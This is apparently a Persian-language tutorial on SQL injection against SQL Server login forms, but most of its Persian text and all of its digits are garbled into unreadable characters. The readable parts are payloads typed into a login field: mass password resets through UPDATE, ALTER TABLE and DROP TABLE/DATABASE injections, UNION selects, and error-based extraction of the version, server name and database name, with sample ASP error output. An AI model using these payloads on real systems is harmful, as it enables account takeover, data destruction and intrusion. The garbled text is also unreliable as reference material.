
SQL Injection (Lesson �)
(Using SQL Server)

ϢϨ̯�ΩϭΪΤϣ�ϭέ�ΎϬϟΎΜϣ�ϢΘϓή̳�ϢϴϤμΗ�Ϟ΋Ύδϣ�̶ΧήΑ�ϪΑ�ϪΟϮΗ�ΎΑ��Ϣϴϧΰϧ�ϝΎΜϣ�̶ϧ΍ήҨ΍�ΖҨΎγ�Ύϣ�ϩέ΍ήϗ�ϥΎΘγϭΩ�εέΎϔγ�ϪΑ!�
Ζγ΍�̶ϬҨΪΑ�ϭ�Ϧηϭέ�̶ϓΎ̯�ϩί΍Ϊϧ΍�ϪΑ�ΚΣΎΒϣ�ΩϮΧ�ϢϨ̰ϴϣ�ή̰ϓ�ϦϤο�έΩ�ϝΎΣ�ήϫ�ϪΑ�

�The best way to learn sql injection: install mssql and learn it, u will be expert

ϢϴϨ̯�̶ϣ�ϩΩΎϔΘγ΍� UPDATE �ί΍έϮΘγΩ  database �ϢϴΘϔ̳�ϞΒϗ�αέΩ�έΩ�ϪηΎΑ�ϥϮΗΩΎҨ�Ϫ̳΍�̵΍ήΑέΩ�ήψϧ�ΩέϮϣ�ήҨΩΎϘϣ�ήϴϴϐΗ

Login: ' UPDATE users set password = '��f�fk' where (username = 'ehsan�'); --

username = ehsan�� �ϩΪΑ�έ΍ήϗϪ̯�̶Θϗϭ ��f�fk ϭέ�ΩέϮδ̡�Ϫ̯�Ϫ̴ϴϣ�έϮΘγΩ�ϦҨ΍

Ϣϴγέ�̶ϣ�ήҨί�έϮΘγΩ�ϪΑ�ϢҨέ΍ΩήΑ�ϻΎΑ�έϮΘγΩ�ί΍�ϭέ�ρήη�ϦҨ΍�Ϫ̳΍�

Login: ' UPDATE users set password = '��f�fk';--

  
̵Ύϫ username ϪϴϠ̯�ΩέϮδ̡�β̡�ϩέ΍Ϊϧ�ΩϮΟϭ�Ϣϫ�̶σήη�ϭ�ϩΪΑ�έ΍ήϗ���f�fk ϭέ�ΩέϮδ̡�Ϫ̯�Ϫ̴ϴϣ�έϮΘγΩ�ϦҨ΍    

ϪΑ�βϴΑΎΘҨΩ�έΩ�ΩϮΟϮϣ���f�fkΪϨ̯�̶ϣ�ήϴϴϐΗ��Ϩ̯�̶ϣ�ϞҨΪΒΗ�ήψϧ�ΩέϮϣ�έ΍ΪϘϣ�ϪΑ�΍έ�ϥϮΘγ�̮Ҩ�έΩ�ΩϮΟϮϣ�ήҨΩΎϘϣ�ϪϴϠ̯�̶ϨόҨΪ�

ΪϴϨ̯�ϪΟϮΗ�έϮΘγΩ�ϦҨ΍�ϪΑ�ϻΎΣ�

Login: ' UPDATE users set password = '';--

ΪϫΩ�̶ϣ�έ΍ήϗ�̶ϬΗ�΍έ�ϥϮΘγ�έΩ�ΩϮΟϮϣ�ήҨΩΎϘϣ�ϪϴϠ̯��ϪΑ�ϭ�ϩΩή̯�ϑάΣ�΍έ�ϕϮϓ�ϥϮΘγ�ήҨΩΎϘϣ�ϪϴϠ̯�Ϫ̯�Ζγ΍�ϦҨ΍�ϞΜϣ�ΖϘϴϘΣ�έΩNull�
ϢҨΩ΍Ω�ήϴϴϐΗ�

�έϮΘγΩήҨί�ί΍�ϥ΁�έΩ�Ϫ̯�whereϭNOT IN�ϪΑ�΍έ�ΎϫΩέϮδ̡�ϪϴϠ̯�ϩΪη�ϩΩΎϔΘγ΍���f�fk�̵ΎϫέίϮҨ�ΩέϮδ̡�ΰΠΑ�ΪϫΩ�̶ϣ�ήϴϴϐΗehsan��ϭ�
systemuΪϧΎϣ�̶ϣ�ΖΑΎΛ�Ϫ̯��

Login: ' UPDATE users set password = '��f�fk' where username NOT IN('ehsan�','systemu'); --

�βϴΑΎΘҨΩ�ί΍�ϥϮΘγ�̮Ҩ�ϑάΣ�ΎҨ�ϭ�βϴΑΎΘҨΩ�ϪΑ�ϥϮΘγ�̮Ҩ�ϥΩή̯�ϪϓΎο΍�̵΍ήΑί΍�ALTER TABLE��ϩΩΎϔΘγ΍
ϢϴϨ̯�̶ϣ�



Login: ' ALTER TABLE <table_name> ADD <column_name> varchar(��);--

Login: ' ALTER TABLE <table_name> DROP COLUMN <column_name>;--

�ϑάΣ�̵΍ήΑTableέϮΘγΩ�ί΍��

Login: ' DROP TABLE <table_name>

έϮΘγΩ�ί΍�βϴΑΎΘҨΩ�ϑάΣ�̵΍ήΑ�

Login: ' DROP DATABASE <database_name>

�̵ήϴ̳ΩΎҨ�ϪΑ�ΪϴϨ̯�ωϭήη�ΪϴΘη΍Ω�ήΘθϴΑ�ΕΎϋϼσ΍�ϪΑ�ίΎϴϧ�Ϫ̳΍SQL

ϪΘ̰ϧ���Ϫ̯�̵Ωέ΍Ϯϣ�έΩ�ί΍�ϩΩΎϔΘγ΍�ϡΎ̴Ϩϫunion�ϪΑ�ErrorΪҨΩέϮΧήΑ�ήҨί�:

- Login: ' union select min (name), �,��from users where username > 'a';--

Microsoft OLE DB Provider for SQL Server error '�����e���
Operand type clash: uniqueidentifier is incompatible with int�

�Check.asp, line ��

�ί΍convertΪϴϨ̯�ϩΩΎϔΘγ΍�ϼΜϣ��

+ ''--��convert(int, (SELECT TOP ��UserName FROM Users WHERE Username > 'a'����- Login: '
��                

�ί΍�̵ΪόΑ�̵ΎϫέίϮҨ�ϥΩέϭ΁�ΖγΪΑ�̵΍ήΑ�ϭ�whereϭNOT INΪϴϨ̯�ϩΩΎϔΘγ΍���

ΕΎϋϼσ΍�ϥΩέϭ΁�ΖγΪΑ�ϪΑ�ϢҨί΍Ωή̢Α�ϭ�ΪϴϨ̯�εϮϣ΍ήϓ�ϭέ�ϻΎΑ�ϪΘ̰ϧ�ϻΎΣ�ΏϮΧέϭήγ�ί΍�ήΘθϴΑ����ϢϬϣ�έΎϴδΑ�

Login: a' or �=convert(int,@@version)--

Microsoft OLE DB Provider for ODBC Drivers error '�����e��' 

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server �.���
- �.��.�����(Intel X��) Apr ���������:��:���Copyright (c) ����-�����Microsoft Corporation Standard Edition on 
Windows NT �.��(Build ����: Service Pack �) ' to a column of data type int. 

/login/login.asp, line ����



--�Login: a' or �=convert(int,@@servername

Microsoft OLE DB Provider for ODBC Drivers error '�����e��' 

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '�G�K' to a column of data 
type int. 

/login/login.asp, line ����

Login: a' or �=convert(int,db_name())--�

Microsoft OLE DB Provider for ODBC Drivers error '�����e��' 

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'kpyas' to a column of 
data type int. 

/login/login.asp, line ����

. ϩέ΍Ω�ΖϴϤϫ΍�̶ϠϴΧ��αέΩ�έΩ̌�ΐϟΎτϣ�Ϫϣ΍Ω΍�ϪΑ�ΖΧ΍Ωή̡�Ϣϴϫ΍ϮΧ έϭήγ�ϪΑ�ΫϮϔϧ�̵΍ήΑ�ΕΎϋϼσ΍�ϦҨ΍   

�
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